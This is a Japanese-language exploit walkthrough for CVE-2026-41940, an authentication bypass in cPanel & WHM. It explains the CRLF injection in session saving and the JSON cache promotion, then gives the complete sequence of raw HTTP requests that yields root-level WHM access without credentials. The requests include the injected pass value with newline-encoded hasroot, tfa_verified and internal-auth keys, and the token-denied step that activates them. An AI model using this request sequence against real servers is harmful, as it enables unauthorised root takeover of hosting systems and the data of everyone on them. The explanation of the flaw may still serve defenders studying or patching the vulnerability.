
CVE-2026-41940 のエクスプロイト。cPanel/WHM における認証バイパスであり、セッションインジェクションと JSON キャッシュプロモーションを介して、認証されていない攻撃者が root アクセスを取得することを可能にします。
CVE-2026-41940 は、cPanel & WHM における重大な認証バイパス脆弱性であり、現在サポートされているすべてのバージョンに影響します。認証されていない攻撃者が認証をバイパスし、ルートレベルのアクセス(WHM)またはユーザーレベルのアクセス(cPanel)を取得できるようになります。
この脆弱性は、Cpanel/Session.pm における2つの主要な問題に起因します:
saveSession における CRLF インジェクション:saveSession 関数は、セッションファイルをディスクに書き込む前に、入力を適切にサニタイズしていませんでした。具体的には、pass フィールドから改行文字(\n)を除去できていませんでした。pass フィールドは、通常、セッションごとのシークレット(ob)を使用して暗号化されます。ただし、セッションクッキーに ob 部分(カンマ以降の部分)が含まれていない場合、エンコーディングはスキップされ、pass の値が平文で書き込まれます。悪用は複数のステップからなるプロセスです:
失敗したログイン試行を送信して、ディスク上にセッションファイルの作成をトリガーします。
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
サーバーは whostmgrsession クッキーで応答します。例:whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4...。
セッションクッキーを使用して別のリクエストを送信しますが、ob 部分(カンマ以降)を削除します。pass フィールドに、改行を使用して目的のセッションキーを注入します。
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
ob 部分が欠落しているため、cpsrvd は pass の値をエンコードせずに書き込みます。注入された改行により、後続の行が生のセッションファイル内で個別のキーと値のペアとして解釈されます。
cPanel はセッションに JSON キャッシュを使用します。生のインジェクションはテキストファイル内にのみ存在します。これを「アクティブ」にするには、cPanel に生のファイルを再読み込みさせ、JSON キャッシュを更新させる必要があります。これは、Cpanel::Session::Modify を使用するエンドポイントで「Token Denied」エラーをトリガーすることで実行できます。
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
URL にセキュリティトークンがないと do_token_denied がトリガーされ、Cpanel::Session::Modify を使用して token_denied カウントが更新されます。Modify は(キャッシュをバイパスして)生のファイルを読み取り、その後、生のファイルと JSON キャッシュの両方を書き込むため、注入されたキーが JSON キャッシュの最上位レベルに効果的に昇格します。
これで、cPanel の認識上、セッションは完全に「認証済み」になります。successful_internal_auth_with_timestamp キーは /etc/shadow チェックをバイパスします。
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
[TOKEN] は、セッション内の cp_security_token フィールドから取得できます。これは「Token Denied」応答で返されることが多く、セッションクッキーの動作を検査することで見つけることもできます。
tfa_verified=1:二要素認証をバイパスします。hasroot=1:WHM でルート権限を付与します。successful_internal_auth_with_timestamp=[TIMESTAMP]:システムのシャドウファイルに対する実際のパスワード検証をバイパスします。user=root:セッションユーザーを root に設定します。